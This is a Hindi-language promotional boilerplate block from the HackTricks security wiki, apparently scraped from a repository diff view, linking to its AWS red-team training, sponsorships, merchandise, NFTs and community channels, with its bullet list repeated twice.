<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें,** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स **शेयर करें.**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue